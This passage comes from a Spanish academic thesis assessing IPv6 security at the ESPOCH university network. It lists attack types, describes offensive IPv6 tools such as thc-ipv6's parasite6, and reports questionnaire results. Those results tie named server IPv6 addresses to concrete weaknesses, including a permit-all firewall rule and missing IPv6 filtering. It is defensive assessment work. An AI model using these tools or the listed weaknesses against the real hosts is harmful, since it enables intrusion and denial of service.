	x
	 
	x
	 
	 
	 
	 

	Privacidad antipático SLAAC 
	x
	 
	 
	 
	x
	 
	 
	x
	 

	Problemas de administración con la Auto-configuración de direcciones “stateful” en DHCPv6
	 
	 
	 
	 
	x
	 
	 
	 
	 

	Soporte para características IPv6 obsoletas / inseguras 
	 
	x
	x
	 
	x
	 
	 
	 
	 

	Sistema/servicio con no/mala funcionalidad de IPv6 
	x
	x
	 
	 
	x
	 
	 
	 
	 

	Vulnerabilidades de filtrado

	Dispositivo de filtrado permite canales encubiertos 
	x
	 
	 
	x
	 
	x
	 
	 
	 

	Dispositivo de filtrado  no bloquea el tráfico entrante
	 
	x
	 
	x
	 
	 
	 
	 
	 

	Dispositivo de filtrado  no filtra el tráfico IPv6
	x
	x
	 
	x
	 
	x
	 
	 
	 

	Dispositivo de filtrado no filtra túneles IPv6
	x
	x
	 
	x
	 
	x
	 
	 
	 

	Dispositivo de filtrado no maneja correctamente fragmentos superpuestos 
	x
	x
	 
	x
	 
	x
	 
	 
	 

	Dispositivo de filtrado  no soporta algunos encabezados de extensión 
	x
	x
	 
	x
	 
	 
	 
	 
	 

	Dispositivo de filtrado  filtra demasiados paquetes ICMPv6 
	x
	x
	 
	x
	 
	 
	 
	 
	 

	Red acepta servidor DHCP6 Malicioso 
	x
	 
	x
	x
	 
	 
	 
	 
	x

	Red acepta paquetes DAD Maliciosos
	x
	 
	x
	x
	 
	 
	 
	 
	 

	Red acepta paquetes ICMPv6 Maliciosos
	x
	 
	x
	x
	 
	 
	 
	 
	x

	Red acepta paquetes ND Maliciosos
	x
	 
	x
	x
	 
	 
	 
	 
	 

	Red acepta paquetes RA Maliciosos
	x
	 
	x
	x
	 
	 
	 
	 
	x

	Vulnerabilidades de sistemas específicos

	Ataque Reflector DoS a través de la dirección de multidifusión de destino (Ataque Smurf) 
	x
	 
	x
	x
	 
	 
	 
	x
	 

	Ataque Reflector DoS a través de la dirección de multidifusión de origen (Ataque Smurf)
	x
	 
	x
	x
	 
	 
	 
	 
	 

	Colisión del sistema por ensamblaje incorrecto de  paquetes de mensajes fragmentados
	x
	x
	x
	 
	 
	 
	x
	 
	 

	Caídas del sistema por paquetes con cabeceras de extensión ilimitada
	x
	x
	x
	 
	 
	 
	 
	 
	 

	Caídas del sistema por inundaciones RA
	x
	 
	x
	 
	 
	 
	 
	 
	 

	DoS a través de inundaciones SeNd 
	x
	 
	x
	 
	 
	 
	 
	 
	 

	Agotamiento de tabla de estado del sistema ND por las inundaciones 
	x
	 
	x
	 
	 
	 
	 
	 
	 

	Vulnerabilidades en enrutamiento

	DoS por amplificación a través de enrutamiento utilizando túneles 
	x
	x
	x
	 
	 
	 
	 
	 
	 

	Enrutamiento influenciado por suplantación de ICMP 
	x
	 
	x
	x
	 
	 
	 
	 
	x

	Otras vulnerabilidades

	DoS Amplificado a través de tamaño del paquete de respuesta DNS
	 
	x
	x
	 
	 
	 
	 
	 
	 

	Vulnerabilidad de seguridad en aplicaciones 
	x
	x
	 
	 
	 
	x
	 
	 
	 


[bookmark: _Toc442981810]Tabla 14: Tipos de vulnerabilidades según su categoría
Realizado por: Johanna Mera
Fuente: Basado en pdf “Testing the security of IPv6 implementations”

2.2.2 [bookmark: _Toc442970700][bookmark: _Toc442981698]ATAQUES
Entre los ataques más conocidos se encuentran:
· Ataques Flood: Los ataques por inundación por lo general consisten en ataques de DoS que tratan de mantener a los servidores ocupados, se los puede generar utilizando envío de paquetes NA, ND, NS, RA, RS, etc. 
· Ataques DoS: Se dan cuando se supera el límite de conexiones simultaneas, generando las” respuestas a las peticiones de los usuarios lentas/nulas o el servidor se desconecta de la red y se queda sin conexión” (Vezzoni, 2013).
· Ataques DDoS: Es similar al ataque DoS, a diferencia que el ataque no proviene de una sola Pc sino de muchas haciendo peticiones al mismo servidor.
· Ataque “Man in the Middle”: Este se asocia al robo de información.
· Ataque Smurf: Se realiza mediante en envió de mensajes de error ICMPv6, con esto es posible causar DoS.
· Ataques de fragmentación: Mediante el envío de paquetes grandes fragmentados (Vezzoni, 2013). 
· Ataques de resolución de direcciones: Utiliza  los registros AAAA  del servidor DNS, de manera que se convierte atractivo para los ataques DDoS.


2.3 [bookmark: _Toc442970701][bookmark: _Toc442981699]POLÍTICAS DE SEGURIDAD
Una política de seguridad es una “declaración de intenciones de alto nivel que cubre la seguridad de los sistemas informáticos y que proporciona las bases para definir y delimitar responsabilidades para las diversas actuaciones técnicas y organizativas que se requieran” (Alvaro, 2011 pág. 25).
2.3.1 [bookmark: _Toc442970702][bookmark: _Toc442981700]Propósitos de una Política de Seguridad
A continuación se listan los propósitos que tiene una política de seguridad (SANS GSEC, 2003 pág. 336):
· Proteger la información
· Establecer las reglas de conducta que se espera de los usuarios, administradores de sistemas, personal de administración y seguridad 
· Autorizar al personal de seguridad para monitorear, sonda, e investigar
· Definir y autorizar a las consecuencias de la violación 
· Definir la posición de la institución consenso sobre la seguridad 
· Ayudar a minimizar el riesgo 

2.3.2 [bookmark: _Toc442970703][bookmark: _Toc442981701]Características de una política de seguridad
Una política de seguridad debe tener las siguientes características:
· Se debe poder aplicar a través de la administración del sistema procedimientos, la edición de guías de uso aceptable, u otros métodos apropiados.
· Debe ser legítimo con herramientas de seguridad, en su caso y con sanciones, donde la prevención real no es técnicamente factible.
· Se debe definir claramente los ámbitos de responsabilidad de los usuarios, administradores y la gerencia.

2.3.3 [bookmark: _Toc442970704][bookmark: _Toc442981702]Proceso para desarrollar una política de seguridad
Para desarrollar una política de seguridad se debe seguir los siguientes pasos: (Aurelio, 2006)
1. Identifique y evalúe los activos: Qué activos deben protegerse y cómo protegerlos (hardware, software, datos, personas, documentación).
2. Identifique las amenazas: Es decir cuáles son las causas potenciales a problemas de seguridad, estas amenazas son externas (se originan fuera de la organización y son los virus, intentos de ataques de los hackers, espionaje industrial) o internas (provienen del interior de la entidad y que pueden ser muy costosas porque el infractor tiene mayor acceso y perspicacia para saber dónde reside la información sensible e importante).
3. Evalué los riesgos: Debe calcularse la probabilidad de que ocurran ciertos sucesos y determinar cuáles tienen el potencial para causar mucho daño.
4.  Asigne las responsabilidades: Seleccione un equipo de desarrollo que ayude a identificar las amenazas potenciales en todas las áreas de la organización, principal integrante del equipo serían el administrador de redes.
5. Establezca políticas de seguridad: Cree una política que apunte a los documentos asociados; parámetros y procedimientos, normas, así como los contratos de empleados. 
6. implemente una política en toda la organización: La política que se escoja debe establecer claramente las responsabilidades en cuanto a la seguridad y reconocer quién es el propietario de los sistemas y datos específicos.


2.4 [bookmark: _Toc442970705][bookmark: _Toc442981703]HERRAMIENTAS DE ATAQUES/SEGURIDAD A IPv6
Para este estudió, se seleccionó cuatro aplicaciones para realizar evaluaciones de vulnerabilidades específicas del protocolo ipv6: thc-ipv6, toolkit, scapy y sendip. Su enfoque es presentar una descripción clara de las herramientas se plantean algunas características deseables para la detección de vulnerabilidades que se encuentre en la red implementada ipv6 de la ESPOCH.
2.4.1 [bookmark: _Toc442970706][bookmark: _Toc442981704]THC-IPv6:
    Thc-ipv6[footnoteRef:4] es un conjunto completo de herramientas para evaluar las vulnerabilidades especificas del protocolo IPv6 y ICMP6, e incluye una biblioteca de fábrica con paquetes fácil de utilizar, creado por Fernando Gont. [4: 	Sitio Web: http://www.thc.org] 

Instalación y Documentación: Thc-ipv6 fue instalado en una máquina virtual Ubuntu, como preparación a la instalación se procedió a instalar dos librerías que se necesitan como requisito libpcap y libopenssl para seguir a detalle el procedimiento efectuado se puede revisar en el anexo 1:Herramienta THC-IPv6.
Pruebas y Usabilidad: El conjunto de herramientas de Thc-ipv6 pueden ejecutarse desde una consola por medio de líneas de comandos como por ejemplo: parasite6 <interface> [fake-mac] donde, parasite6 es una herramienta correspondiente a este paquete. En el anexo 3: THC-IPv6, se encuentra descrito en detalle las especificaciones técnicas de la herramienta además se puede apreciar las imágenes que dio como resultado una serie de pruebas.
Plataformas y Protocolos Soportados: Thc-ipv6 es disponible para la plataforma Linux. Tanto IPv6 y ICMPv6 son protocolos soportados.
2.4.2 [bookmark: _Toc442970707][bookmark: _Toc442981705]IPv6 TOOLKIT
   Toolkit[footnoteRef:5] es un conjunto de herramientas que permite evaluar seguridad IPv6, se originó como parte de un proyecto financiado por UK para proteger la CPNI. Su desarrollo y mantenimiento es responsable SI6 Networks  [5: 	 Sitio Web: http://www.si6networks.com] 

Instalación y Documentación: Toolkit fue instalado en una máquina virtual Ubuntu para seguir a detalle el procedimiento efectuado puede revisar en el anexo 1: Herramienta TOOLKIT.
Pruebas y Usabilidad: Las herramientas de Toolkit pueden ejecutarse desde una consola con el comando por ejemplo sudo tcp6 donde, es una herramienta que forma parte de dicho conjunto. En el anexo 3: TOOLKIT, se encuentra descrito en detalle las especificaciones técnicas de la herramienta además se puede apreciar las imágenes que dio como resultado una serie de pruebas
Plataformas y Protocolos Soportados: Toolkit está disponible la para la plataforma Linux, Mac OS, FreeBSD, NetBSD, y OpenBSD.
2.4.3 [bookmark: _Toc442970708][bookmark: _Toc442981706]SCAPY
Scapy[footnoteRef:6], es un programa en Python que permite al usuario enviar, rastrear, analizar, sondear, escanear o atacar redes, falsificar paquetes de red o decodificar paquetes de un amplio número de protocolos, posee funciones similares a ttlscan, nmap, hping, p0f, xprobe, arping, arp-sk,  ARPSpoof, firewalk, etc. Todo mediante línea de comandos, es integrable en Python, programable, versátil y flexible. Obtendremos solo los datos que queramos y todo lo complejo que deseemos. [6: 	Sitio Web:  http://www.secdev.org/projects/scapy/] 

Instalación y Documentación: Scapy fue instalado en una máquina virtual Ubuntu para seguir a detalle el procedimiento efectuado puede revisar en el anexo 1: Herramienta SCAPY.
Pruebas y Usabilidad: Scapy pueden ejecutarse desde una consola con el comando sudo scapy. En el anexo 3: Scapy, se encuentra descrito en detalle las especificaciones técnicas de la herramienta además se puede apreciar las imágenes que dio como resultado una serie de pruebas
Plataformas y Protocolos Soportados: Scapy está disponible la para la plataforma Linux y Windows. Tanto IPv6, ICMPv6 y scapy6 son protocolos soportados
2.4.4 [bookmark: _Toc442970709][bookmark: _Toc442981707]SendIP
     Es una utilidad para enviar la dirección IP local a otro servidor, permite un control detallado de todos los campos de la cabecera.
Instalación y Documentación: Sendip[footnoteRef:7] fue instalado en una máquina virtual Ubuntu para seguir a detalle el procedimiento efectuado puede revisar en el anexo 1: Herramienta SendIP. [7: 	Sitio Web: http://snad.ncsl.nist.gov/ipv6/sendip.html] 

Pruebas y Usabilidad: Sendip pueden ejecutarse desde una consola con el comando sudo  sendip [-v] [-d data] [-h] [-f datafile] [-p module] [module options] hostname. En el anexo 3: SendIP, se encuentra descrito en detalle las especificaciones técnicas de la herramienta además se puede apreciar las imágenes que dio como resultado una serie de pruebas
Plataformas y Protocolos Soportados: Sendip está disponible la para la plataforma Linux. Los protocolos soportados son ipv4 ipv6 icmp tcp udp bgp rip ntp.

2.5 [bookmark: _Toc442970710][bookmark: _Toc442981708]ANÁLISIS COMPARATIVO DE LAS HERRAMIENTAS 
En la tabla Nro.15, se comparan las herramientas evaluadas, se consideran algunas características importantes a resaltar, como: 
· La categoría A/P indica si la herramienta es activa (A) o pasiva (P). Las herramientas activas afectan el tráfico normal de la red, inyectando paquetes propios a la misma; mientras que las herramientas pasivas sólo capturan el tráfico que pasa a través de la interfaz. 
· Privilegios ofrece información sobre los permisos de usuario requeridos para instalar o ejecutar la aplicación. 
· Plataformas soportadas se limitó a Windows y Linux. 
· En cuanto a los protocolos, se estudian los protocolos de capa de red y de transporte.
	Características 
	IPV6TOOLKIT
	THC-IPV6
	Scapy
	Sendip

	Versión evaluada 
	1.4.1
	2.3
	2.2
	2.5

	Gratis 
	Si
	si
	si
	si

	A/P 
	P
	A
	A
	P

	Privilegios 
	Usuario
	Usuario
	Root
	Usuario

	Plataforma soportada
	Linux, Mac OS, Freebsd, Netbsd, y Openbsd
	Linux
	Linux, Windows
	Linux

	Protocolo de red
	ICMPv6
	IPv6, ICMPv6
	IPv6, ICMPv6 y SCAPY6
	ICMP, IPv4, IPv6 

	Protocolo de transporte 
	TCP
	TCP
	TCP
	TCP, UDP

	Interfaz de usuario
	Consola
	Consola
	Consola, GUI
	Consola


[bookmark: _Toc442981811]Tabla 15: Características Principales de las Herramientas Evaluadas
Realizado por: Johanna Mera









CAPÍTULO III
[bookmark: _Toc442981709]ANÁLISIS SITUACIONAL DE LA RED IPv6 EN LA ESPOCH
La investigación, contempla el análisis de la situación  real en la que se encuentra la red IPv6 de la ESPOCH, cuya administración es responsable el área de redes de DTIC, para el presente análisis se prepara un banco de preguntas con temas respecto a las medidas de seguridad tomadas en la implementación de IPv6, y a las vulnerabilidades o ataques que se haya detectado en la red.
Se realiza el análisis que contiene el escenario, la conceptualización y valorización, el análisis de las preguntas técnicas generales, el análisis de las preguntas sobre vulnerabilidades de consideraciones generales, vulnerabilidades de filtrado, vulnerabilidades de sistemas específicos, vulnerabilidades de enrutamiento, el análisis de otras vulnerabilidades, y resultados.
3.1 [bookmark: _Toc442981710][image: ] Escenario de la red IPv6[bookmark: _Toc442981867]Ilustración 7: Primer escenario de la red IPv6-ESPOCH
Realizado por: Johanna Mera

En la ilustración 7 se muestra la red IPv6 de la ESPOCH, se encuentra implementada de forma parcial solo en el DTIC desplegado en tres servidores virtualizados los cuales son: www.espoch.edu.ec con IP Address 2800:68:a:1::2, www.evirtual.edu.ec con IP Address 2800:68:a:60::16 y el servidor de DNS externo con IP Address 2800:68:a:1::3.

3.2 [bookmark: _Toc442981711]Conceptualización y valorización
En la tabla Nro.16, se expone los objetivos que se pretende obtener de cada grupo: preguntas de aspecto informativo, las cuales solo me permite obtener información para interpretar el análisis de las demás preguntas por lo mismo no son valorizadas; preguntas de aspectos técnicos generales, estas me permite conocer cómo está organizada la red y que no mas posee; vulnerabilidades, esta a su vez tiene subgrupos que corresponde a los tipos de vulnerabilidades como de consideraciones generales, de filtrado, de sistemas específicos, de enrutamiento y otras. 
	
	Aspectos informativos
	Aspectos técnicos generales
	Vulnerabilidades


	Objetivo
	Obtener información de apoyo a la interpretación de los datos

Nota: Estas preguntas no son valorizadas.
	· Determinar que documentación que posee DTIC en el departamento de redes con respecto infraestructura de la red IPv6.
· Conocer procedimientos técnicos generales que DTIC implementa para la protección de la red IPv6 y de sus activos
· Obtener información acerca de las medidas de seguridad que tiene el departamento de redes de DTIC
	Detectar los problemas que hayan tenido los compañeros del departamento de redes de DITC en lo que concierne a las vulnerabilidades que pueden inducir a los ataques en la red IPv6.

Nota: Para la interpretación de sus respuestas a este grupo se lo ha dividido en cinco subgrupos: 

1. Vulnerabilidades de Consideraciones Generales
2. Vulnerabilidades de filtrado
3. Vulnerabilidades de sistemas específicos
4. Vulnerabilidades de enrutamiento
5. Otras vulnerabilidades



[bookmark: _Toc442981812]Tabla 16: Conceptualización
Realizado por: Johanna Mera

El cuestionario fue realizado al director del departamento de redes de DTIC el Ing. David Garcés, con el fin de determinar el nivel de vulnerabilidad en la red IPv6 de la ESPOCH (para observar el cuestionario ver Anexo 4), y la forma en que fueron planteadas las preguntas son para ser respondidas de la siguiente manera:
· Primer grupo: conteste
· Segundo grupo:  Marcar con una (X) Si o No
· Tercer grupo: Marcar con una (X) Si es vulnerable, No es vulnerable o desconoce
Para valoración que se define el cuadro Nro.17, donde se utiliza las respuestas del segundo grupo y tercer grupo.

	Valores cualitativos
	Valores cuantitativos 

	Si
	Es vulnerable  
	1

	
	Desconoce
	0,5

	No
	No es vulnerable
	0


[bookmark: _Toc442981813]Tabla 17: Valorización
Realizado por: Johanna Mera
3.3 [bookmark: _Toc442981712]Documentación de la red IPv6
Pregunta 1
Si
No
¿La red IPv6 cuenta con su respectiva documentación?

0

Realizado por: Johanna Mera

[bookmark: _Toc43839755377777373][bookmark: _Toc442981814]Tabla 18: Documentación de la red IPv6






[bookmark: _Toc442981868]Ilustración 8: Documentación de la red IPv6
Realizado por: Johanna Mera
En el departamento de redes del DTIC, no se cuenta con la documentación para la red IPv6 la cual debe tener documentos tales como: el mapa de red, conocido como diagrama de red para la infraestructura de la red IPv6 este es inevitable en toda documentación para resolver eventuales problemas con los dispositivos que forme parte de la red IPv6; inventario de dispositivos conectados a red, cuyo documento es de apoyo para resolver problemas con los dispositivos que son partes de la red; políticas de seguridad, es indispensable elaborar políticas, normas y procesos en IPv6 para disminuir el nivel de vulnerabilidades en la red IPv6; plan de contingencia, su elaboración es necesaria para la toma decisiones adecuadas luego de una interrupción o desastre no planeada y con ello recuperar aunque sea en parte la capacidad funcional del sistema; plan de seguridad, en él se desarrolla objetivos de seguridad tales como evitar posibles ataques para tomar medidas de protección a largo plazo. El personal encargado de la implementación de IPv6 en la ESPOCH no realizó documentación de su trabajo, es necesaria su creación para referencias futuras cuando se reestructure la red.
3.4 [bookmark: _Toc442981713]Cortafuegos
	Pregunta 2
	Si
	No

	¿Se ha implementado firewall en IPv6?
	
	0


[bookmark: _Toc442981815]Tabla 19: Cortafuego 
Realizado por: Johanna Mera

[bookmark: _Toc442981869]Ilustración 9: Cortafuegos
 Realizado por: Johanna Mera

Cortafuegos para IPv6 no existe implementado en el DTIC, sin embargo se tienen implementados cortafuegos sobre IPv4, de entre ellos se tiene: IPTABLES y ACLs (lista de control de acceso), hay reglas implementadas para hacer cumplir una política de seguridad que controla el tráfico a nivel de routers (ejemplo: denegar el tráfico http generado por los sitio de redes sociales), las reglas se las diseña de acuerdo a una política interna dirigida y aceptada por la rectora (ejemplo: que el departamento financiero tenga conectividad a redes sociales todo el día); equipo FORTINET, es un firewall FortiGate 400A del cual solo tiene implementada reglas de acceso para la red IPv4 este equipo está obsoleto porque tiene una antigüedad de 8 años y desde enero del presente año no cuenta con soporte no proporciona control de redes sociales, el máximo de ancho de banda que soporta es de 440 MB siendo este el principal motivo por lo que se ha solicitado actualizar este dispositivo porque la red de la ESPOCH tiene un ancho de banda de 460 MB. Dicho dispositivo será reemplazado por el firewall cisco ASA 5500 que es el nuevo dispositivo al que se pretende migrar las reglas de acceso a la red que se encuentran implementadas en el dispositivo de FORTINET y además incrementar las reglas de acceso con soporte IPv6. Cabe recalcar que en el equipo FortiGate solo existen dos reglas dirigidas a IPv6 las cuales son un any to any: permit, la cual da vulnerabilidad a toda la red IPv6 porque no filtra ni bloquea ningún tipo de tráfico malicioso, y la otra regla (any to "tu red": denegado) que según el Ing. Ernesto Pérez dice que bloquea el acceso a la red por medio de túneles la cual no se pudo comprobar porque consume demasiados recursos y el dispositivo deja de atender otras prioridades de la red, con dichas reglas la red IPv6 no se encontraba protegida por lo cual se llevaron a cabo algunos ataques que no se les podía dar seguimiento porque el equipo no proporcionaba suficientes datos.
3.5 [bookmark: _Toc442981714]Administración cuentas usuario
	Pregunta 3
	Si
	No

	¿La administración de las cuentas de usuarios equivalentes a todas las estaciones de trabajo es limitada a la persona de apoyo técnico?
	1
	


[bookmark: _Toc442981816]Tabla 20: Administración cuentas usuario 
Realizado por: Johanna Mera

[bookmark: _Toc442981870]Ilustración 10: Administración cuentas usuario
Realizado por: Johanna Mera
En el DTIC, si existe administración de las cuentas de usuarios la cual están a cargo del Ing. Lenín Merizalde, que tiene como política de seguridad seleccionar contraseñas seguras que se cambian con una frecuencia de 3 meses, no tiene un control de acceso a usuarios remotos con dirección IPv6, es decir en caso de un ataque con éxito, un intruso puede acceder a una estación de trabajo o servidor de forma remota y esto puede ocasionar graves daños como robo de información, saturación de trabajo a los servidores.
3.6 [bookmark: _Toc442981715]Conectividad IPv6 
	Pregunta 4
	Si
	No

	¿Todas las VLAN o subredes tienen conectividad ipv6?
	
	0


[bookmark: _Toc442981817]Tabla 21: Conectividad IPv6 
Realizado por: Johanna Mera

[bookmark: _Toc442981871]Ilustración 11: Conectividad IPv6 
Realizado por: Johanna Mera
El departamento de redes de DTIC no ha habilitado a todas VLANs con conectividad IPv6, porque fue implementada la red IPv6 de la ESPOCH de forma parcial, donde el escenario de la infraestructura de la red IPv6 consta de conectividad IPv6 solo los servidores virtualizados DNS con IP Address 2800:68:a:1::3, www.espoch.edu.ec con IP Address 2800:68:a:1::2, www.evirtual.espoch.edu.ec con IP Address 2800:68:a:60::16.
3.7 [bookmark: _Toc442981716]Separación de servicios
	Pregunta 5
	Si
	No

	¿Como medida de seguridad se separa servicios en los servidores que están implementados IPv6?
	1
	


[bookmark: _Toc442981818]Tabla 22: Separación de servicios
Realizado por: Johanna Mera

[bookmark: _Toc442981872]Ilustración 12: Separación de servicios 
Realizado por: Johanna Mera
En el departamento de redes de DTIC como medida de seguridad se separan servicios en los servidores de acuerdo a la función que realicen de esta forma se bloquean numerosos ataques, como los servidores que tienen implementado IPv6 están orientados para la funcionalidad web solo tienen activados los servicios de HTTP, HTTPS Y DNS.
3.8 [bookmark: _Toc442981717]Acceso a dispositivos 
	Pregunta 6
	Si
	No

	¿Su departamento tiene acceso físico y remoto a los dispositivos de la red IPv6?
	1
	


[bookmark: _Toc442981819]Tabla 23: Acceso a dispositivos 
Realizado por: Johanna Mera

[bookmark: _Toc442981873]Ilustración 13: Acceso a dispositivo 
Realizado por: Johanna Mera
El departamento de redes de DTIC permite el acceso físico y remoto a los dispositivos de la red IPv6, por lo que la red es vulnerable a un ataque que pondría en riesgo a los servidores, PCs que son dispositivos parte de la red IPv6. 
3.9 [bookmark: _Toc442981718]Bitácora de actividades
	Pregunta 7
	Si
	No

	¿Se lleva una bitácora de actividades diarias? 
	1
	


[bookmark: _Toc442981820]Tabla 24: Bitácora de actividades 
Realizado por: Johanna Mera

[bookmark: _Toc442981874]Ilustración 14: Bitácora de actividades 
Realizado por: Johanna Mera
DTIC, lleva bitácoras de actividades diarias donde registran los avances y resultados ya sea de una investigación o una tarea, siendo una buena práctica y tomada como un procedimiento de una política de gestión que tiene DTIC que es generar informe semestrales de las actividades realizadas por cada área (desarrollo, soporte y mantenimiento, infraestructura y redes).    
3.10 [bookmark: _Toc442981719]Fingerprinting
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Fingerprinting
	1
	
	


[bookmark: _Toc442981821]Tabla 25: Fingerprinting 
Realizado por: Johanna Mera


[bookmark: _Toc442981875]Ilustración 15: Fingerprinting 
Realizado por: Johanna Mera
La vulnerabilidad fingerprinting está presente en la red IPv6 de la ESPOCH, por lo que esta propensa la red a los ataques de penetración, para la detección de esta vulnerabilidad se instaló el plugin Collusion en el navegador de Firefox donde al acceder al portal web de la ESPOCH se observó que otros sitios web se entrelazan con el sitio web de la institución para apreciar la funcionalidad de la herramienta utilizada en la detección de figerprinting (ver Anexo 5: Detección de vulnerabilidades; Figerprinting).
3.11 [bookmark: _Toc442981720]Descubrimiento de host
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Descubrimiento de host
	1
	
	


[bookmark: _Toc442981822]Tabla 26: Descubrimiento de host 
Realizado por: Johanna Mera

[bookmark: _Toc442981876]Ilustración 16: Descubrimiento de host 
Realizado por: Johanna Mera
Esta vulnerabilidad, tiene la red IPv6 de la institución, se utilizó las herramientas dos-new-ip6, Trace6, Scan6, Detect-new-ip6, Alive6 para la detección de dicha vulnerabilidad, con el descubrimiento de host se obtuvo direcciones IPs de los dispositivos conectados a la red y que se encontraban activos, concluyendo que la red esta propensa a los ataques de penetración y ataques de DoS.
3.12 [bookmark: _Toc442981721]DNS inversas
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Problemas DNS inversas
	
	
	0


[bookmark: _Toc442981823]Tabla 27: DNS inversas 
Realizado por: Johanna Mera

[bookmark: _Toc442981877]Ilustración 17: DNS inversas 
Realizado por: Johanna Mera
El departamento de redes de DTIC, no ha detectado problemas en la red con DNS-Inversa.
3.13 [bookmark: _Toc442981722]Privacidad SLAAC
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Privacidad SLAAC
	
	0,5
	


[bookmark: _Toc442981824]Tabla 28: Privacidad SLAAC 
Realizado por: Johanna Mera

[bookmark: _Toc442981878]Ilustración 18: Privacidad SLAAC 
Realizado por: Johanna Mera
DTIC, desconoce si tiene problemas de privacidad por SLAAC en la red IPv6, es necesario determinar si existen estos problemas porque permiten ataques de SLAAC DOS. 
3.14 [bookmark: _Toc442981723]Problemas de administración 
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Problemas de administración con la Autoconfiguración de direcciones “stateful” en DHCPv6

	
	
	0


[bookmark: _Toc442981825]Tabla 29: Problemas de administración
 Realizado por: Johanna Mera

[bookmark: _Toc442981879]Ilustración 19: Problemas de administración 
Realizado por: Johanna Mera
En el área de redes de DTIC, no se ha encontrado problemas administración con la Autoconfiguración de direcciones “stateful” en DHCPv6.
3.15 [bookmark: _Toc442981724]Características obsoletas
	Vulnerabilidad
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Soporte para características IPv6 obsoletas u inseguras
	1
	
	


[bookmark: _Toc442981826]Tabla 30: Características obsoleta 
Realizado por: Johanna Mera

[bookmark: _Toc442981880]Ilustración 20: Características obsoleta 
Realizado por: Johanna Mera
La red IPv6 de la ESPOCH, si ha requerido soporte para las características IPv6 obsoletas esta vulnerabilidad fue detectada en los primeros meses de la implementación de IPv6, es ineludible inhabilitar estas características porque pueden crear vulnerabilidades específicas o crear debilidades de seguridad.
3.16 [bookmark: _Toc442981725]Funcionalidad de IPv6
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Sistema / servicio con mala / no funcionalidad de IPv6
	1
	
	


[bookmark: _Toc442981827]Tabla 31: Funcionalidad de IPv6 
Realizado por: Johanna Mera

[bookmark: _Toc442981881]Ilustración 21: Funcionalidad de IPv6
 Realizado por: Johanna Mera
En DTIC, se ha detectado sistemas con mala funcionalidad de IPv6 por la configuración incorrecta de IPv6 debido a esto el departamento de redes ha considerado la reestructuración de la red IPv6 para así corregir la configuración y evitar debilidades de seguridad.
3.17 [bookmark: _Toc442981726]Filtrado de canales encubiertos 
	Vulnerabilidad
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Dispositivo de filtrado permite canales encubiertos
	
	
	0


[bookmark: _Toc442981828]Tabla 32: Filtrado de canales encubiertos 
Realizado por: Johanna Mera

[bookmark: _Toc442981882]Ilustración 22: Filtrado de canales encubiertos 
Realizado por: Johanna Mera
El dispositivo de filtrado o firewall de la red IPv6 de la ESPOCH, no permite canales encubiertos es decir que no existen en la red IPV6 de la ESPOCH puertas traseras demostrando que existen normas en la administración. 
3.18 [bookmark: _Toc442981727]Bloquear tráfico entrante IPv6
	
	Es 
Vulnerable
	
Desconozco
	No es 
Vulnerable

	Es vulnerable porque el firewall no bloquea el tráfico entrante de IPv6
	1
	
	


[bookmark: _Toc442981829]Tabla 33: Bloquear tráfico entrante IPv6
 Realizado por: Johanna Mera

[bookmark: _Toc442981883]Ilustración 23: Bloquear tráfico entrante IPv6
 Realizado por: Johanna Mera
El DTIC, de la ESPOCH ha detectado que el dispositivo de filtrado (firewall) no bloquea el tráfico entrante ya que el firewall que está en producción ya no tiene soporte, por lo que la red está expuesta a ser atacada, es necesario habilitar un firewall en los dispositivos CPE (Equipo Local del Cliente). 
3.19 [bookmark: _Toc442981728]Filtrado de tráfico IPv6
	
	EsVulnerable
	Desconozco
	No es Vulnerable

	Es vulnerable porque el firewall no filtra el tráfico IPv6
	1
	
	


[bookmark: _Toc442981830]Tabla 34: Filtrado de tráfico IPv6 
Realizado por: Johanna Mera

[bookmark: _Toc442981884]Ilustración 24: Filtrado de tráfico IPv6 
Realizado por: Johanna Mera
En la red de la ESPOCH, el firewall FORTIGATE no filtra el tráfico IPv6. Porque no cuenta con soporte IPv6, se necesita adquirir un dispositivo de filtrado robusto. 
3.20 [bookmark: _Toc442981729]Filtrado de túneles IPv6
	
	Es Vulnerable
	
Desconozco
	No es Vulnerable

	Es vulnerable porque el dispositivo de filtrado no permite filtra túneles IPv6
	
	
	0


[bookmark: _Toc442981831]Tabla 35: Filtrado de túneles IPv6 
Realizado por: Johanna Mera

[bookmark: _Toc442981885]Ilustración 25: Filtrado de túneles IPv6 
Realizado por: Johanna Mera
El firewall de la ESPOCH, si filtra túneles IPv6.
3.21 [bookmark: _Toc442981730]Gestión de fragmentos superpuestos 
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Dispositivo de filtrado no gestionan correctamente fragmentos superpuestos 
	1
	
	


[bookmark: _Toc442981832]Tabla 36: Gestión de fragmentos superpuesto 
Realizado por: Johanna Mera

[bookmark: _Toc442981886]Ilustración 26: Gestión de fragmentos superpuesto 
Realizado por: Johanna Mera
La vulnerabilidad de que el firewall no gestione correctamente los fragmentos superpuestos está presente en la red IPv6 de la ESPOCH, por lo que esta propensa la red a ataques de fragmentación que utilizan paquetes IPv6 suficientemente grande que necesite ser fragmentado, para la detección de esta vulnerabilidad se utilizó las herramientas fragmentation6 y frag6 (véase el Anexo 5: Detección de vulnerabilidades; Vulnerabilidad de fragmentos superpuesto).
3.22 [bookmark: _Toc442981731]Encabezados de extensión 
	

	Es Vulnerable
	Desconozco
	No es Vulnerable

	Dispositivo de filtrado no soporta algunos encabezados de extensión
	
	0,5
	


[bookmark: _Toc442981833]Tabla 37: Encabezados de extensión 
Realizado por: Johanna Mera

[bookmark: _Toc442981887]Ilustración 27: Encabezados de extensión
 Realizado por: Johanna Mera
En área de redes de DTIC, no se hecho pruebas para determinar si el firewall soporta todos los encabezados de extensión en los paquetes de IPv6, por lo que se desconoce si la red de la ESPOCH tiene esta vulnerabilidad.
3.23 [bookmark: _Toc442981732]Filtrado de paquetes ICMPv6 
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Dispositivo de filtrado filtra demasiados paquetes ICMPv6
	
	0,5
	


[bookmark: _Toc442981834]Tabla 38: Filtrado de paquetes ICMPv6
 Realizado por: Johanna Mera

[bookmark: _Toc442981888]Ilustración 28: Filtrado de paquetes ICMPv6
 Realizado por: Johanna Mera
